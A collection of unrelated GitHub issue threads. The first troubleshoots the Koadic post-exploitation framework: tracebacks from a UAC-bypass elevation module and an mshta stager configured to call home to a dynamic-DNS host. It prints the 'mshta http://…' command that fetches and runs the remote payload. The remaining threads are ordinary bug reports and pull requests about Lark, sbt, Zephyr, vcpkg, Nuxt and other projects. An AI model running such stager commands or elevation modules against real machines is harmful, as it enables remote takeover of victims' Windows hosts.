zombie died when try to elevate

(koadic: imp/ele/bypassuac_eventvwr)# run
Traceback (most recent call last):
File "/root/koadic/core/shell.py", line 58, in run
self.run_command(cmd)
File "/root/koadic/core/shell.py", line 91, in run_command
self.actions[action].execute(self, cmd)
File "core/commands/run.py", line 12, in execute
env.run()
File "modules/implant/elevate/bypassuac_eventvwr.py", line 48, in run
self.dispatch(workloads, self.job)
File "/root/koadic/core/plugin.py", line 59, in dispatch
j = job(self.shell, session.id, self.STATE, workload, options)
File "/root/koadic/core/job.py", line 42, in init
if self.create() != False:
File "modules/implant/elevate/bypassuac_eventvwr.py", line 10, in create
if (int(self.session.build) < 7600 or int(self.session.build) > 15030) and self.options.get("IGNOREBUILD") == "false":
ValueError: invalid literal for int() with base 10: ''
(koadic: imp/ele/bypassuac_eventvwr)# zombies
    ID   IP              STATUS  LAST SEEN
    ---  ---------       ------- ------------
    0    <IP_ADDRESS>     Dead    2019-10-26 01:18:21
    1    <IP_ADDRESS>     Dead    2019-10-26 01:23:15
    2    <IP_ADDRESS>     Dead    2019-10-26 01:25:19

Your Zombies aren't dying when you're trying to elevate, you've actually never had a live zombie. session.build only populates once the Zombie is staged and since you're getting an invalid literal int() error on session.build, then that means the Zombie has never staged. I can add a fix so that this exception doesn't get thrown, but I'm not going to be able to help you on specifically why your Zombie isn't staging, you're gonna need to figure that one out and tweak accordingly.

is it stable (zombie) over wan?

Yes, wan o lan.

(koadic: sta/js/mshta)# info
    NAME       VALUE               REQ     DESCRIPTION
    -----      ------------        ----    -------------
    SRVHOST    <IP_ADDRESS>         yes     Where the stager should call home
    SRVPORT    9999                yes     The port to listen for stagers on
    EXPIRES                        no      MM/DD/YYYY to stop calling home
    KEYPATH                        no      Private key for TLS communications
    CERTPATH                       no      Certificate for TLS communications
    MODULE                         no      Module to run once zombie is staged
    ONESHOT    false               yes     oneshot

(koadic: sta/js/mshta)# set SRVHOST bananafish.hopto.org
[+] SRVHOST => bananafish.hopto.org
(koadic: sta/js/mshta)# set SRVPORT 443
[+] SRVPORT => 443
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://bananafish.hopto.org:443/EiOhQ
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://bananafish.hopto.org:443/EiOhQ
[+] Zombie 0: Staging new connection (<IP_ADDRESS>)
(koadic: sta/js/mshta)# ----------------------------------------
Exception happened during processing of request from ('<IP_ADDRESS>', 60149)
Traceback (most recent call last):
File "/usr/lib/python3.7/socketserver.py", line 650, in process_request_thread
self.finish_request(request, client_address)
File "/usr/lib/python3.7/socketserver.py", line 360, in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python3.7/socketserver.py", line 720, in init
self.handle()
File "/root/koadic/core/handler.py", line 90, in handle
return BaseHTTPRequestHandler.handle(self)
File "/usr/lib/python3.7/http/server.py", line 426, in handle
self.handle_one_request()
File "/usr/lib/python3.7/http/server.py", line 414, in handle_one_request
method()
File "/root/koadic/core/handler.py", line 175, in do_GET
return self.handle_new_session()
File "/root/koadic/core/handler.py", line 260, in handle_new_session
data = self.post_process_script(self.options.get("STAGE"), template)
File "/root/koadic/core/handler.py", line 606, in post_process_script
from rjsmin import jsmin
ModuleNotFoundError: No module named 'rjsmin'
(koadic: sta/js/mshta)# zombies
    ID   IP              STATUS  LAST SEEN
    ---  ---------       ------- ------------
    0    <IP_ADDRESS>     Alive   2019-10-26 01:51:53

Use "zombies ID" for detailed information about a session.
Use "zombies IP" for sessions on a particular host.
Use "zombies DOMAIN" for sessions on a particular Windows domain.
Use "zombies killed" for sessions that have been manually killed.

why i get those errors when the session established?


scripting?

Your Idea
it would be cool if it was possible to "script" some commands together, maybe it could look like the following:
set baseY = (random)
set baseX = (random)
DO
set randY = (random)
set randX = (random)
goto {randX} {randY}
get diamond 128
goto {baseX} {baseY}
stash {baseX + 10} {base + 10} 100 {baseX - 10} {baseY -10} 50 [diamond]
IF (idk some logic for if the bot knows it has over 200 diamonds) DO POINT2
LOOP
POINT2
test terminate
logoff
kinda pulling from random programming languages, but having a little scripting would allow for a lot more within alto clef!
even if just an API for alto clef was available then that would allow the bot to make much more intelligent.
Discord username (if you want updates)
Developer Notes (leave this blank)
Difficulty: __
Estimated Time Required: __
Once development starts.

Checkout altoclef task creator. I made a tool that does exactly this

https://github.com/gaucho-matrero/Altoclef-TaskCreator


Refactor: Polish 2.2.x governance doc

Polish 2.2.x governance document after pilot-agent is supported.

documentation has been migrated to the documentation website, so closed


Analyzing performance degradation

How do we make sure that the targeted components recovered from the chaos scenarios without taking a performance hit? The on-cluster-latest.json and etcd-on-cluster-dashboard.json dashboards can be loaded in Dittybopper to analyze most of the metrics needed to evaluate the performance hit of the components. We could create a new dashboard for the additional metrics that are not collected in the above dashboards. We can recommend the user to install Dittybopper as this would enable him to look into all the metrics and analyze the performance of the targeted components.

Thoughts? @jtaleric @chaitanyaenr @mffiedler

+1, we can leverage dittybopper for the first pass to understand the impact on performance during the chaos injection. Eventually we can take a look at querying prometheus for specific metrics to determine pass/fail.


Remove noarch.

Checklist

[ ] Used a fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

This doesn't actually change anything really about the package.  Conda forge doesn't build win32 and you already had a python constraint in here


[Modules] Central configuration place for baseUrl

Is your feature request related to a problem? Please describe.
Several modules (sitemap, i18n, axios, http, and possibly many more 🙈) are asking in some way for the app's baseUrl. Unfortunately, most of them have their own configuration option for it (e.g. publicRuntimeConfig.axios.baseUrl, sitemap.baseUrl, ...). This creates a little more boilerplate than necessary while the url itself stays the same and reduces the risk of forgetting to set a baseUrl somewhere.
Describe the solution you'd like
Ideally, the modules access some "general" place for the baseUrl, e.g. publicRuntimeConfig.baseUrl. This would reduce the boilerplate and makes configuration easier - set and forget 😋.
This could be documented at each module documentation but maybe also in the main Nuxt documentation?
To avoid breaking changes, modules could use the "general" configuration as a fallback if no specific value is set. This could also make migration easier as it is not immediately necessary but can be hinted via warning.

In Nuxt 3 this is now configurable via app.baseURL which is accessible within modules by accessing that from the nuxt options object. At runtime it is accessible via useRuntimeConfig().app.baseURL


Automated Package Upgrade

:tada: This PR is included in version 28.5.38 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Update ReadMe file for the Front End repository.

ReadMe on the Front End repository needs to be updated so as to provide a clear overview of the repository, alongside indicating any dependencies that may be necessary when utilizing the repository.

The base of the frontend ReadMe has been successfully implemented, although certain details are still missing. New issues will be created regarding these details.


Merge prometheus/prometheus main  changes  Mar 22, 2021

1.This commit uses the CircleCI parallelism features, combined with the
last changes in promu that enables this.
Now all the pull requests will be built with all the platforms again, in
less than 20 minutes.
A side effect is that we now build Prometheus for 7 more os/arch combos:
darwin-arm64 / illumos-amd64 / linux-mips / linux-mipsle /
freebsd-arm64 / netbsd-arm64 / openbsd-arm64
2.Switch to alertmanager api v2

Merge prometheus/prometheus main changes Mar 22, 2021


Making a TODO Completed While Viewing Active Still Shows Item

When in the Active filter, you can complete a TODO item and it won't be removed from the view.

Add an item
Select the Active filter. The item still shows and the lower left label displays "1 item".
Make the item completed by pressing the checkbox
Verify that the item incorrectly appears in the Active list

This will kick it over to Active if an item is added in Completed


Tutorials

The tutorials contain many errors which are also printed and increase the file size.
Could some prints also be reduced to decrease the size of the tutorial notebooks?
Also, in my opinion the tutorial notebooks are too many (1 - 2  small tutorials would suffice)

The tutorials contain many errors which are also printed and increase the file size. Could some prints also be reduced to decrease the size of the tutorial notebooks? Also, in my opinion the tutorial notebooks are too many (1 - 2 small tutorials would suffice)

@CaptainAlready we are under development progress here. Therefore, we will take into account all the possible ways to reduce the tutorials' file size. According to the number of tutorials, we are designing with @gkontogiannhs which will be the best way for the user to understand how the lib works.

Thank you, @CaptainAlready, for your feedback. The Tutorials branch aims to assess the robustness of the library in its initial phase. Through this, we'll explore potential feature redesigns to enhance user-friendliness, followed by optimizations for size, clarity, and overall efficiency. Regarding errors, some were intentionally left unaddressed due to lack of data in certain cases. Rest assured, these issues will be promptly resolved.

Configuration
in the following lines https://github.com/tzamalisp/crossai/blob/57c661e6e072e585d63b6b020b162dcb27d4a0b2/tutorials/config_loader.py#L4-L13

add properly the "Loads configuration from.." next to the """

Audio Speech Commands Recognition
in the lines
os.environ["CUDA_VISIBLE_DEVICES"] = "2"
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "2"

add the level to the configuration file.
in DATASET_PATH = config['PATH']['MINI_SPEECH_COMMANDS'], please define how the user should load the data properly (audio data in classes, link to the README)
why this one is in comment: # tf.keras.utils.plot_model(cnn1d, to_file='Simple-CNN1D.png', show_shapes=True)
the next one could go to a utils script:
def plot_learning(history):
    metrics = history.history
    history_keys = list(history.history.keys())
    plt.figure(figsize=(16, 6))
    plt.subplot(1, 2, 1)
    plt.plot(history.epoch, metrics[history_keys[0]], metrics[history_keys[2]])
    plt.legend(['loss', 'val_loss'])
    plt.ylim([0, max(plt.ylim())])
    plt.xlabel('Epoch')
    plt.ylabel('Loss [CrossEntropy]')

    plt.subplot(1,2,2)
    plt.plot(history.epoch, 100*np.array(metrics[history_keys[1]]), 100*np.array(metrics[history_keys[3]]))
    plt.legend(['accuracy', 'val_accuracy'])
    plt.ylim([0, 100])
    plt.xlabel('Epoch')
    plt.ylabel('Accuracy [%]')

@gkontogiannhs @fothot2
Motion Recognition E2E

In cell 11, I would add only once the TimeMeasurementWrapper, to show the functionality.  I would also explain what it does in a few words in the markdown.

the plot_ts could export two subplots so the y-axis is depicted properly in case of a huge difference between the range of values of the different time series.

the batch_evaluate should count and indicate the instance that it processes each time.


[JENKINS-32628] log warning when script name collides with package name

Thank you for this pull request! Please check this document for how the Jenkins project handles pull requests.


Add flags to be able to configure kubernetes client throttling

More context on this other PR: #50
This PR instead of settings safe usable defaults, lets you configure it using 2 flags:

--kube-client-qps.
--kube-client-burst.

@mlbiam :wave: hey there!
Any updates regarding this PR?
Thanks!


Highlighting ground items

Instead of only highlighting ground items with text or the tile it's in, have an option to toggle to highlight the whole item in the ground, similar to highlighting objects or NPCs/mobs.
Clicking on smaller items can often be hard, especially when AFKing - or with smaller monitors, as the item in itself is not as large as the tile is. So seeing the clickbox of the item(s) is very beneficial.
See here; the item is not as large as the tile it is in: https://www.dropbox.com/s/5thkic6qhwyqdnp/HDxYFRe8lc.mp4?dl=0

Any update?


Translation of rendering-elements

@fjoshuajr Is it possible for you to join Slack? You're missing some discussions, in this case, regarding the word 'rendering'. If is not possible to you to join slack, or you just don't want it, please let us know :)

😳 thanks for reminding me, yes I will join ASAP

@jbarradas feedback addressed


Some emojis don't appear large when sent individually.

The spy emoji appears small even when sent by himself. 🕵
On my android phone, everything in 'faces' from the 6th page onwards renders small.

It might be not defined in our regex

This emoji works on riot-ios. The code is https://github.com/matrix-org/matrix-ios-kit/blob/v0.9.3/MatrixKit/Utils/MXKTools.m#L81


File input to parse method gives TypeError: object of type '_io.TextIOWrapper' has no len()

Describe the bug
I want Lark to read the file for me so that I don't have to read the whole file into memory first.
In #488 @erezsh showed that Lark's parse method takes a file argument so that Lark can read the file as it needs to.

What I think you're asking for, which is to parse a large file without having to load all of it into memory, is something that Lark already does.

Python automatically buffers files as they are being read

Lark supports the transformer=... option, which applies a transformer as the text is being parsed, rule by rule, instead of building a whole tree first. You don't have to create a tree, or store the parsed data, if you choose to.

All you have to do is something like this:
parser = Lark.open("my_grammar.lark", parser="lalr", transformer=MyTransformer())
with open("my_input.json") as f:
    result = parser.parse(f)

If for some reason that doesn't work, open a new issue and we'll fix it.

I use this complete example to try to reproduce it. I'm not ready to use a transformer yet, so I omit that part.
from lark import Lark
from pathlib import Path

grammar_path = Path("my_grammar.lark")
grammar_path.write_text("""
start: NUMBER*
%import common.NUMBER
%import common.WS
%ignore WS
""")

input_path = Path("my_input")
input_path.write_text("1 22 333")

parser = Lark.open(grammar_path, parser="lalr")
with open("my_input") as f:
    result = parser.parse(f)

I expect the result to be a tree with tokens for 1, 22, and 333.
Instead I get the following error:
TypeError: object of type '_io.TextIOWrapper' has no len()

Despite that example code, it looks like Lark really expects a string, which has a len method.
How do I get Lark to read the file for me?

I don't know where @erezsh got that from, Lark has never supported passing in a file object (or any IOStream) to .parse. This is also quite hard to add since we are using re, which can't deal with those objects directly, I can try to add support for it.
Ofcourse, if the file is smaller than a few MB, just loading it into memory is the better choice for speed.

@erezsh showed that Lark's parse method takes a file argument so that Lark can read the file as it needs to.

I don't think that I did.

@iainelder My bad, I was wrong, and I apologize for misleading you. You should read the file yourself, and provide it to Lark as a string.
If you need to parse a very large file, there might be a way to do so incrementally, but a solution isn't yet written or tested. See #1211 .

If the file is smaller than a few MB, just loading it into memory is the better choice for speed.

My data is small enough that I can work like this.
Thanks for clarifying. The documentation does show that parse expects a string, but that issue ranks high on Google :-)


fix firebase.tsx syntax error

fixed syntax error prevent app from running

Has conflicts, please pull develop and merge into this branch to fix issues.


⚠ ClamAV has degraded performance

In 6e97f16, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 70 ms

Resolved: ClamAV performance has improved in 0f45785.


Issue/597

For example, ConnectionError and ProxyError is not excepted.
You can reproduce ConnectionError by offline environment.
However, I have no idea how to reproduce these exceptions.
Tests for all exception is difficult and not should be done in this repository. But at least, InvalidURL should be tested.

These branch are not tested.
sys.exit(1) can tested by self.assertRaises(SystemExit, ...).

おまたせしました。

@kawacchu Could you review this PR?

@fukatani I'm afraid but I cannot afford to review this PR until 1/10 because I'm struggle in my graduation thesis now. Please wait some days... :memo:

私が大分ほっぽっちゃって、忘れられてたらあれだなと思い、念の為pingしました。
そういうことであれば、まずは卒論を大事にしてください！
@kmyk
もしお時間あれば見てください。


Update GH actions to update packages for ubuntu debug regression test

For the past week, the OpenFAST GH actions for the ubuntu debug regression tests were failing with this error:
E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/l/lxml/python3-lxml_4.5.0-1ubuntu0.3_amd64.deb 404 Not Found [IP: <IP_ADDRESS> 80]

E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?

Error: Process completed with exit code 100.

The requested package version wasn't available, but a newer one was. This PR adds the apt-get update command to the workflow to fix the problem.

Was it always failing for you @bjonkman or just intermittently? Those two cases passed here but I'm wondering if this really fixed it.

Failing here this morning with same error: https://github.com/OpenFAST/openfast/runs/4871964256?check_suite_focus=true

It always failed with exit code 100. It was looking for version 0.3 of that file (python3-lxml_4.5.0-1ubuntu0.3_amd64.deb), which no longer exists in the two places it was looking (If I'm reading the messages correctly, it checked both http://azure.archive.ubuntu.com/ubuntu and http://security.ubuntu.com/ubuntu previously). It is now looking for version 0.5 of that file (python3-lxml_4.5.0-1ubuntu0.5_amd64.deb) and finding it.

Ok great, then it looks like this is a fix. Thanks @bjonkman!


Retrieve the API Key from the url parameters

What does this PR do?
This PR allow the mini-dashboard to receive an API Key (admin or master key) from an url parameter. This url parameter is api_key. So you if you call the dashboard {url}/?api_key={admin_key}, the mini-dashboard will never show the popup that is asking for the API Key.
See it live:
https://user-images.githubusercontent.com/6064892/223150249-a7492569-bff9-4523-acc8-cf17fc1a3e8a.mp4

Removing the query parameters from an url is not common if I'm not mistaken. Either way, it presents a security risk as it's not because we remove the api_key from the URL that the user will suddenly not share the original URL.
if the user adds the api_key through the interface, we do not add it in the URL.

bors merge


Update MD file on new branch 2017-12-03_16-03-36

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

split/content1.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Invalid frontmatter: sidebar_label

Describe the bug

When the OpenAPI summary prop is used to generate a sidebar label, it doesn't quote (or otherwise escape) the value, causing invalid labels in some cases.
Example:
id: add-public-signup-token-user
sidebar_label: Create a user with the "viewer" root role and link them to a signup token
hide_title: true

Expected behavior

All frontmatter values that may cause YAML parsing to fail should be quoted and generation shouldn't fail because of a character used in a summary.
Current behavior

As demonstrated by this failed Unleash documentation generation run,  the YAML parser errors out with the following message:
Error:  Error while parsing Markdown front matter.
This can happen if you use special characters in front matter values (try using double quotes around that value).
Error:  Loading of version failed for version current
Error:  Unable to build website for locale en.
Error:  YAMLException: can not read a block mapping entry; a multiline key may not be an implicit key at line 4, column 12:
    description: "Create a user with the 'viewe ...

Update: I am able to reproduce this locally. The error happens when trying to run docusaurus build.
I also suspect that this would also happen with other invalid characters such as :.
Possible solution

I think any text that can come from summaries, descriptions, or otherwise free text should be quoted when used as frontmatter. YAML always accepts text strings, so there is no downside to always quoting, except maybe that you need to escape values.
Steps to reproduce

The generation fails on this endpoint (currently available at https://us.app.unleash-hosted.com/ushosted/docs/openapi.json, but won't necessarily be for long):
"/ushosted/invite/{token}/signup": {
      "post": {
        "tags": [
          "Public signup tokens"
        ],
        "operationId": "addPublicSignupTokenUser",
        "summary": "Create a user with the \"viewer\" root role and link them to a signup token",
        "requestBody": {
          "description": "createInvitedUserSchema",
          "required": true,
          "content": {
            "application/json": {
              "schema": {
                "$ref": "#/components/schemas/createInvitedUserSchema"
              }
            }
          }
        },
        "responses": {
          "200": {
            "description": "userSchema",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/userSchema"
                }
              }
            }
          },
          "400": {
            "description": "The request data does not match what we expect."
          },
          "409": {
            "description": "The provided resource can not be created or updated because it would conflict with the current state of the resource or with an already existing resource, respectively."
          }
        },
        "parameters": [
          {
            "name": "token",
            "in": "path",
            "required": true,
            "schema": {
              "type": "string"
            }
          }
        ]
      }
    }

Use the endpoint description above (or a similar on with a summary containing quotes)
Generate docs
If the generation doesn't fail (it doesn't locally for me), you should still be able to go to the generated source file and notice that the value contains unescaped quotes in the frontmatter

Screenshots

Context

This is currently breaking Unleash's documentation build(and thus causing a number of failures on our main branch). Unless we remove the integration, we're currently unable to build new documentation, which is unfortunate.
Your Environment

Version used: 1.4.1
Environment name and version (e.g. Chrome 59, node.js 5.4, python 3.7.3): GitHub action;
Operating System and version (desktop or mobile): Presumably linux
Link to your project: https://github.com/Unleash/unleash

Please let me know if you need any more information ☺ And as always: thanks a lot for your work on this plugin ❤

Just for the record, it seems the plugin will also happily create quoted strings with unescaped quotes inside. We had:
title: "A string title with "double quotes" inside"

This too breaks compilation as the yaml parser thinks that the value ends at the first inside quote.

Thanks @thomasheartman, we had to address a similar/related issue with the description field.
Basically, the solution is to always wrap in double quotes and regex replace any pre-existing double quotes in the value with single quotes. We'll see if we can work the fix into this next release train.

Wonderful! And yeah, that's the workaround we ended up with as well. Thanks for your input; looking forward to seeing it land 😄

Fix just released in 0.0.0-507. Let me know if this addresses the issue.

Yeah, nice! Just tried it out now and it works like a charm; thank you ❤
And just a heads up: I did some more testing, and the sidebar_label wasn't actually what was breaking (YAML will happily accept quotes inside a string if it doesn't start with quotes, it seems), but the internal quotes in the already quoted title. However, the unquoted sidebar_label would break if you tried to insert a colon anywhere, so quoting it is absolutely the right way to go 😄


Add evaluate! and fit!

Just a memo
To avoid allocating a new array, implementing them may be useful.
But, if dim!=1 and dim!=end, we still need to allocate temporary arrays for permutating dims.

I'll implement 3 argument-versions of both, akin to mul!.

In benchmarking mul! and * at the matrix sizes relevant to us (< 200 x 200) the latter seems to be only marginally slower and allocates only a couple of bytes. Not sure there is much benefit to be had from implementing this.
Opinions?

What did you benchmark exactly?

One main bottleneck in FLEX calculations is memory. The current implementation of fit allocates a temporary array for work space and returns the result as a new array.

Thank you for the information. What did you benchmark exactly?

In our case, b is a rectangular matrix of size (m, N), where N could be huge.

Ok, in that case (with N = 10^4) the time difference is still negligible, but * allocates a few MBs, so I'm guessing if you do this enough you hit GC. I understand now, thank you!

Then, we could use either mul! or *. * is parallelized?


install boringssl:x86-windows  failed

Host Environment

OS: win10
To Reproduce
Steps to reproduce the behavior:
vcpkg install boringssl

Failure logs
-Cut and past the appropriate build messages from the console output.
Downloading https://github.com/google/boringssl/archive/5902657734e2a796a514731e0fd0e80081ae43dc.tar.gz... Failed. Status: 4;"A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision."
-Please attach any additional failure logs mentioned in the console output.
Additional context
Add any other context about the problem here, such as what you have already tried to resolve the issue.

@wangweiwei1188 ,Thanks for posting this issue,I can successfully build on my local computer，I investigated it and it seems that your problem is related to curl, you can try to reinstall curl to see if it can solve your problem：https://curl.haxx.se/download.html

@wangweiwei1188 ,Thanks for posting this issue,I can successfully build on my local computer，I investigated it and it seems that your problem is related to curl, you can try to reinstall curl to see if it can solve your problem：https://curl.haxx.se/download.html

Can you download https://github.com/google/boringssl/archive/5902657734e2a796a514731e0fd0e80081ae43dc.tar.gz manually?
It seems that your Windows 10 doesn't support SSL yet.

Can you download https://github.com/google/boringssl/archive/5902657734e2a796a514731e0fd0e80081ae43dc.tar.gz manually?
It seems that your Windows 10 doesn't support SSL yet.

Can you download https://github.com/google/boringssl/archive/5902657734e2a796a514731e0fd0e80081ae43dc.tar.gz manually?
It seems that your Windows 10 doesn't support SSL yet.

Oh，it's the gateway's error yesterday.I can download it now.Thanks very much.

Can you download https://github.com/google/boringssl/archive/5902657734e2a796a514731e0fd0e80081ae43dc.tar.gz manually?
It seems that your Windows 10 doesn't support SSL yet.

Oh，it's the gateway's error yesterday.I can download it now.Thanks very much.


Fpga graphics ulx3s

Here we go.
Important points:

pix2gpdi and tmds encoder have been entirely rewritten from scratch in system verilog
constraints file made global
makefile target for switching between 480p / 720p

720p versions still need minor adjustments

clock modules are generated from a bash script

You may go ahead and close the previous pull request now.

sorry, my bad

Thanks. I hope to have some time with the ULX3S this weekend.

Apologies for the lack of progress on this PR. I’ll be back in my office next week with access to the ULX3S.


Highlight for WinBar (Neovim 0.8+)

Is your feature request related to a problem? Please describe.
The new WinBar added in Neovim 0.8+ does not have Gruvbox colors yet.
Describe the solution you'd like
diff --git a/lua/gruvbox/groups.lua b/lua/gruvbox/groups.lua
index 756f0d2..2cfaf39 100644
--- a/lua/gruvbox/groups.lua
+++ b/lua/gruvbox/groups.lua
@@ -164,6 +164,8 @@ groups.setup = function()
     Underlined = { fg = colors.blue, underline = config.underline },
     StatusLine = { fg = colors.bg2, bg = colors.fg1, reverse = config.inverse },
     StatusLineNC = { fg = colors.bg1, bg = colors.fg4, reverse = config.inverse },
+    WinBar = { fg = "...", bg = "...", reverse = config.inverse },
+    WinBarNC = { fg = "...", bg = "...", reverse = config.inverse },
     VertSplit = { fg = colors.bg3, bg = colors.bg0 },
     WildMenu = { fg = colors.blue, bg = colors.bg2, bold = config.bold },
     Directory = { link = "GruvboxGreenBold" },

Seems easy enough, but I trust you have better judgement for the choice of colors.
Thank you for making this colorscheme and no hurry :slightly_smiling_face:
Describe alternatives you've considered
Could be set in local config with vim.api.nvim_set_hl()
Additional context

:help 'winbar'
:help hl-WinBar

hey @maxbrunet honestly i don't have any suggestions for the winbar color for now, I think you can submit a PR with those changes and we can start discussing it, what do you think?

Sure! I actually picked colors last week


Enhancements to OrderableDocumentList: Custom createIntent Handling & menuItems injection

This PR introduces enhancements to the Orderable Document List menu of the Sanity plugin, allowing for greater customization. Currently, the menu is not customizable and defaults to three options: create, reset, and toggle increment. This update addresses the need for more flexible menu options, particularly in cases like using Sanity alongside of Shopify where the creation of ProductVariants should strictly be controlled by Shopify. When the listing is created as S.listItem()with a canHandleIntent function, ProductVariants creation in Sanity can be disabled; the same cannot be done when ProductVariants is listed using OrderableDocumentList (for custom sorting of variants).
Changes:
createIntent:
boolean, defaults to true.
Purpose
Allows control over the 'create' option in the menu.
Use Case:
In scenarios where records are managed externally (like Shopify) and synced to Sanity, the ability to disable the 'create' option prevents unintended creation of records.
menuItems:
array, defaults to [].
Purpose:
Allows the injection of additional menu items (S.menuItem()) into the Orderable Document List menu.
Benefit:
This feature provides flexibility to add more options to the menu, tailored to specific project requirements.

@stipsan sorry to bother you. Do you think it's possible for you to consider this PR?


Mesh_demo with a nRF52840 not working

log1.txt
log2.txt
Describe the bug
I'm trying to run the /zephyrproject/zephyr/samples/bluetooth/mesh_demo with two nRF52840dk without success. One would be flashed with NODE_ADDR 0x0b0c (in board.h file), and the other with NODE_ADDR 0x000f.
At first we could believe everything was fine but in fact the devices aren't approvisioned. To see it, I first changed the configure() method in main.c to print whenever an error occurred :
static int configure(void)
{
	int err = 0;
	printk("Configuring...\n");

	/* Add Application Key */
	err = bt_mesh_cfg_app_key_add(net_idx, addr, net_idx, app_idx, app_key, NULL);
	if (err < 0) {
		printk("Failed to add app-key (err %d)\n", err);
		return err;
	}

	/* Bind to Health model */
	err = bt_mesh_cfg_mod_app_bind(net_idx, addr, addr, app_idx,
				 BT_MESH_MODEL_ID_HEALTH_SRV, NULL);
	if (err < 0) {
		printk("Failed to bind app-key for health (err %d)\n", err);
		return err;
	}

	/* Bind to vendor model */
	err = bt_mesh_cfg_mod_app_bind_vnd(net_idx, addr, addr, app_idx,
				     MOD_LF, BT_COMP_ID_LF, NULL);
	if (err < 0) {
		printk("Failed to bind app-key for vendor (err %d)\n", err);
		return err;
	}

	/* Add model subscription */
	err = bt_mesh_cfg_mod_sub_add_vnd(net_idx, addr, addr, GROUP_ADDR,
				    MOD_LF, BT_COMP_ID_LF, NULL);
	if (err < 0) {
		printk("Failed to add vendor model subscription (err %d)\n", err);
		return err;
	}

	// [...]

	printk("Configuration complete\n");
	return 0;
}

This permitted to discover that the method bt_mesh_cfg_mod_app_bind_vnd() returns -12. The error stack trace is in the file log1.txt
Apparently there isn't enough memory to allocate loopback in net.c. I tried to add CONFIG_BT_MESH_LOOPBACK_BUFS=10 in the prj.conf file. But the I would get another error which is -11 (always with the method bt_mesh_cfg_mod_app_bind_vnd()). The error stack trace is in the file log2.txt.
It seems there is a problem with the length printed by mod_app_status() as I get strange things in the logs but I don't know the origin of the problem.
To Reproduce
Steps to reproduce the behavior:

cd zephyrproject/zephyr/samples/bluetooth/mesh_demo
west build -p auto -b nrf52840dk_nrf52840 .
west flash --erase

Expected behavior
Two self approvisioned devices.
Environment (please complete the following information):

Linux Ubuntu 20.04.1 LTS
Toolchain : Zephyr SDK
I'm up to date with master branch (the command git rev-parse HEAD gives me : 52ad9a468c1a3ae9a00d1e5aac389c5bfcf087ec52ad9a468c1a3ae9a00d1e5aac389c5bfcf087ec)

Best regards !

Thanks for the thorough report!
You have correctly identified the initial issue you're seeing, the loopback buffer count was too small to buffer all the required packets. I have made PR #30217 for this. The second issue is a little more subtle, as the mod_sub call doesn't have the same non-blocking behavior as the other cfg_cli APIs. I have made PR #30216 to fix this. Once both are merged, both errors should be resolved.


Failed to download an sbt plugin, but why did sbt attempt to download from that URL?

Can sbt explain why it attempted to download a given artifact?
Given a minimal setup
build.sbt
lazy val root = (project in file("."))
  .settings(
    scalaVersion := "2.12.19",
  )

project/build.properties
sbt.version=1.9.9

project/plugins.sbt
addSbtPlugin("com.eed3si9n" % "sbt-assembly" % "1.2.0")

(and nothing else in the project directory),
after also deleting the C:\Users\X01344637\.sbt\repositories file,
running sbt I get this error:
C:\Users\X01344637\tmp\sbt-plugin-test>sbt
[info] welcome to sbt 1.9.9 (Oracle Corporation Java 17.0.2)
[info] loading settings for project sbt-plugin-test-build from plugins.sbt ...
[info] loading project definition from C:\Users\X01344637\tmp\sbt-plugin-test\project
[info] Updating
[info] Resolved  dependencies
[warn]
[warn]  Note: Some unresolved dependencies have extra attributes.  Check that these dependencies exist with the requested attributes.
[warn]          com.eed3si9n:sbt-assembly:1.2.0 (sbtVersion=1.0, scalaVersion=2.12)
[warn]
[warn]  Note: Unresolved dependencies path:
[error] sbt.librarymanagement.ResolveException: Error downloading com.eed3si9n:sbt-assembly;sbtVersion=1.0;scalaVersion=2.12:1.2.0
[error]   not found: https://my.company.com/nexus/repo/com/eed3si9n/sbt-assembly/1.2.0/sbt-assembly-1.2.0.pom
[error]         at lmcoursier.CoursierDependencyResolution.unresolvedWarningOrThrow(CoursierDependencyResolution.scala:344)
[error]         at lmcoursier.CoursierDependencyResolution.$anonfun$update$38(CoursierDependencyResolution.scala:313)
[error]         at scala.util.Either$LeftProjection.map(Either.scala:573)
[error]         at lmcoursier.CoursierDependencyResolution.update(CoursierDependencyResolution.scala:313)
[error]         at sbt.librarymanagement.DependencyResolution.update(DependencyResolution.scala:60)
[error]         at sbt.internal.LibraryManagement$.resolve$1(LibraryManagement.scala:60)
[error]         at sbt.internal.LibraryManagement$.$anonfun$cachedUpdate$12(LibraryManagement.scala:134)
[error]         at sbt.util.Tracked$.$anonfun$lastOutput$1(Tracked.scala:74)
[error]         at sbt.internal.LibraryManagement$.$anonfun$cachedUpdate$20(LibraryManagement.scala:147)
[error]         at scala.util.control.Exception$Catch.apply(Exception.scala:228)
[error]         at sbt.internal.LibraryManagement$.$anonfun$cachedUpdate$11(LibraryManagement.scala:147)
[error]         at sbt.internal.LibraryManagement$.$anonfun$cachedUpdate$11$adapted(LibraryManagement.scala:128)
[error]         at sbt.util.Tracked$.$anonfun$inputChangedW$1(Tracked.scala:220)
[error]         at sbt.internal.LibraryManagement$.cachedUpdate(LibraryManagement.scala:161)
[error]         at sbt.Classpaths$.$anonfun$updateTask0$1(Defaults.scala:3801)
[error]         at scala.Function1.$anonfun$compose$1(Function1.scala:49)
[error]         at sbt.internal.util.$tilde$greater.$anonfun$$u2219$1(TypeFunctions.scala:63)
[error]         at sbt.std.Transform$$anon$4.work(Transform.scala:69)
[error]         at sbt.Execute.$anonfun$submit$2(Execute.scala:283)
